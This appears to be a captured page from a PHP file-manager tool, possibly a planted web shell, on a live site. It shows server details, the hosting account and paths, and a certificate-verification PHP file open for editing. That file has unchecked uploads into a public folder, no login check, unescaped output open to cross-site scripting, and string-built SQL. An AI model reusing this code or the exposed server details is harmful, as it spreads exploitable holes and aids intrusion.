Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/rutzotech.com/public_html/ems/employee/hr

Free Space:

10.17 TB

🔧 Quick Actions

✏️ Editing: verify-certificate.php

<?php 
require_once 'db.php';
session_start();

// Fetch current user
$user_id = $_SESSION['user_id'];
$query = "SELECT * FROM users WHERE id = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("i", $user_id);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Verify Certificate | Decconz Admin Dashboard</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta content="A fully featured admin theme which can be used to build CRM, CMS, etc." name="description">
    <meta content="Coderthemes" name="author">

<script src="js/hyper-config.js"></script>

<link href="css/vendor.min.css" rel="stylesheet" type="text/css">

<link href="css/app.min.css" rel="stylesheet" type="text/css" id="app-style">

<link href="css/unicons.css" rel="stylesheet" type="text/css">
    <link href="css/remixicon.css" rel="stylesheet" type="text/css">
    <link href="css/materialdesignicons.min.css" rel="stylesheet" type="text/css">
    <link rel="shortcut icon" href="uploads/logo.jpeg">
</head>

<?php
                        if (isset($_POST['upload_certificate'])) {
                            $user_id = $_POST['user_id'];
                            $certificate_number = $_POST['certificate_number'];
                            $from_date = $_POST['from_date'];
                            $to_date = $_POST['to_date'];
                            $description = $_POST['description'] ?? '';

$file_path = null;
                            $file_type = null;

if (!empty($_FILES['certificate_file']['name'])) {
                                $upload_dir = "uploads/";
                                if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true);

$file_name = time() . "_" . basename($_FILES["certificate_file"]["name"]);
                                $file_tmp = $_FILES["certificate_file"]["tmp_name"];
                                $file_path = $upload_dir . $file_name;
                                $file_type = mime_content_type($file_tmp);

move_uploaded_file($file_tmp, $file_path);
                            }

$stmt_cert = $conn->prepare("INSERT INTO certificates (user_id, certificate_number, from_date, to_date) VALUES (?, ?, ?, ?)");
                            $stmt_cert->bind_param("isss", $user_id, $certificate_number, $from_date, $to_date);

if (!$stmt_cert->execute()) {
                                if ($conn->errno === 1062) {
                                    echo '<div class="alert alert-danger mt-3">
                                            <i class="mdi mdi-alert-circle-outline me-2 fs-4"></i>
                                            Certificate number already exists. Please use a unique certificate number.
                                          </div>';
                                } else {
                                    echo '<div class="alert alert-danger mt-3">Error: ' . $conn->error . '</div>';
                                }
                            }

$stmt_cert->close();

if ($file_path) {
                                $stmt_doc = $conn->prepare("INSERT INTO documents (uploaded_by, file_path, file_type, description) VALUES (?, ?, ?, ?)");
                                $stmt_doc->bind_param("isss", $user_id, $file_path, $file_type, $description);
                                $stmt_doc->execute();
                                $stmt_doc->close();
                            }

echo '<div class="alert alert-success mt-3"><i class="mdi mdi-check-circle-outline me-2"></i> Certificate uploaded and file stored successfully.</div>';
                        }
                        ?>

<div class="card certificate-card">
                            <div class="card-header bg-primary text-white">
                                <div class="d-flex justify-content-between align-items-center">
                                    <h4 class="card-title mb-0">
                                        <i class="mdi mdi-certificate-outline me-2"></i> Verify Certificate
                                    </h4>
                                    <span class="badge bg-light text-dark">Validation System</span>
                                </div>
                            </div>
                            <div class="card-body">
                                <div class="alert alert-info mb-4">
                                    <i class="mdi mdi-information-outline me-2"></i> Enter the certificate number to verify its authenticity.
                                </div>

<form method="GET" action="" class="mb-3">
                                    <div class="input-group">
                                        <span class="input-group-text bg-light">
                                            <i class="mdi mdi-magnify"></i>
                                        </span>
                                        <input type="text" name="certificate_number" id="certificate_number" class="form-control form-control-lg" placeholder="Enter certificate number" required>
                                        <button type="submit" class="btn btn-primary">
                                            <i class="mdi mdi-check-circle-outline me-1"></i> Verify
                                        </button>
                                    </div>
                                </form>

<button class="btn btn-outline-success mb-3" type="button" data-bs-toggle="collapse" data-bs-target="#uploadForm" aria-expanded="false" aria-controls="uploadForm">
                                    <i class="mdi mdi-upload me-1"></i> Upload New Certificate
                                </button>

<div class="collapse" id="uploadForm">
                                    <div class="card card-body border-success mb-4">
                                        <h5 class="text-success mb-3"><i class="mdi mdi-upload"></i> Upload Certificate</h5>
                                        <form method="POST" enctype="multipart/form-data">
                                            <div class="mb-3">
                                                <label class="form-label">Select User</label>
                                                <select name="user_id" class="form-select" required>
                                                    <option value="">-- Select User --</option>
                                                    <?php
                                                    $users = $conn->query("SELECT id, name FROM users ORDER BY name");
                                                    while ($user = $users->fetch_assoc()) {
                                                        echo "<option value='{$user['id']}'>{$user['name']}</option>";
                                                    }
                                                    ?>
                                                </select>
                                            </div>

<div class="row">
                                                <div class="col-md-6 mb-3">
                                                    <label class="form-label">Certificate Number</label>
                                                    <input type="text" name="certificate_number" class="form-control" required>
                                                </div>
                                                <div class="col-md-3 mb-3">
                                                    <label class="form-label">From Date</label>
                                                    <input type="date" name="from_date" class="form-control" required>
                                                </div>
                                                <div class="col-md-3 mb-3">
                                                    <label class="form-label">To Date</label>
                                                    <input type="date" name="to_date" class="form-control" required>
                                                </div>
                                            </div>

<div class="mb-3">
                                                <label class="form-label">Certificate File</label>
                                                <input type="file" name="certificate_file" class="form-control" accept=".pdf,.jpg,.jpeg,.png" required>
                                            </div>

<div class="mb-3">
                                                <label class="form-label">Description (optional)</label>
                                                <textarea name="description" class="form-control" rows="2"></textarea>
                                            </div>

<button type="submit" name="upload_certificate" class="btn btn-success">
                                                <i class="mdi mdi-upload me-1"></i> Upload Certificate
                                            </button>
                                        </form>
                                    </div>
                                </div>

<?php
                                if (isset($_GET['certificate_number'])) {
                                    $cert_number = $_GET['certificate_number'];
                                    $stmt = $conn->prepare("SELECT u.id as user_id, u.name, u.email, u.phone, u.designation, c.from_date, c.to_date FROM certificates c JOIN users u ON c.user_id = u.id WHERE c.certificate_number = ?");
                                    $stmt->bind_param("s", $cert_number);
                                    $stmt->execute();
                                    $result = $stmt->get_result();

if ($row = $result->fetch_assoc()) {
                                        echo '<div class="card border-success mt-4 mb-3">
                                                <div class="card-header bg-success text-white">
                                                    <div class="d-flex justify-content-between align-items-center">
                                                        <h5 class="mb-0"><i class="mdi mdi-check-decagram me-2"></i> Certificate Verified</h5>
                                                        <span class="badge bg-light text-success">Valid</span>
                                                    </div>
                                                </div>
                                                <div class="card-body">
                                                    <div class="row">
                                                        <div class="col-md-6">
                                                            <dl class="row mb-0">
                                                                <dt class="col-sm-4">Name</dt>
                                                                <dd class="col-sm-8">' . $row['name'] . '</dd>
                                                                <dt class="col-sm-4">Email</dt>
                                                                <dd class="col-sm-8">' . $row['email'] . '</dd>
                                                                <dt class="col-sm-4">Phone</dt>
                                                                <dd class="col-sm-8">' . $row['phone'] . '</dd>
                                                            </dl>
                                                        </div>
                                                        <div class="col-md-6">
                                                            <dl class="row mb-0">
                                                                <dt class="col-sm-4">Designation</dt>
                                                                <dd class="col-sm-8">' . $row['designation'] . '</dd>
                                                                <dt class="col-sm-4">From Date</dt>
                                                                <dd class="col-sm-8">' . $row['from_date'] . '</dd>
                                                                <dt class="col-sm-4">To Date</dt>
                                                                <dd class="col-sm-8">' . $row['to_date'] . '</dd>
                                                            </dl>
                                                        </div>
                                                    </div>
                                                    <hr>
                                                    <dl class="row mb-0">
                                                        <dt class="col-sm-4">Certificate File</dt>
                                                        <dd class="col-sm-8">';
                                        $user_id = $row['user_id'];
                                        $file_query = $conn->query("SELECT file_path FROM documents WHERE uploaded_by = $user_id ORDER BY uploaded_at DESC LIMIT 1");
                                        if ($file = $file_query->fetch_assoc()) {
                                            echo '<a href="' . $file['file_path'] . '" target="_blank">View Certificate</a>';
                                        } else {
                                            echo 'No file uploaded';
                                        }
                                        echo '</dd></dl>
                                                </div>
                                            </div>';
                                    } else {
                                        echo '<div class="alert alert-danger d-flex align-items-center">
                                                <i class="mdi mdi-alert-circle-outline me-2 fs-3"></i>
                                                <div>
                                                    <h5 class="mb-1">Certificate Not Found</h5>
                                                    <p class="mb-0">Please check the certificate number and try again.</p>
                                                </div>
                                            </div>';
                                    }

$stmt->close();
                                }
                                ?>
                            </div>
                            <div class="card-footer bg-light">
                                <small class="text-muted">
                                    <i class="mdi mdi-shield-check-outline me-1"></i> This verification system ensures the authenticity of certificates.
                                </small>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    </div>

<script src="js/vendor.min.js"></script>

<script src="js/app.js"></script>

<script src="js/apexcharts.min.js"></script>

<script src="js/component.todo.js"></script>

<script src="js/demo.crm-dashboard.js"></script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: verify-certificate.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation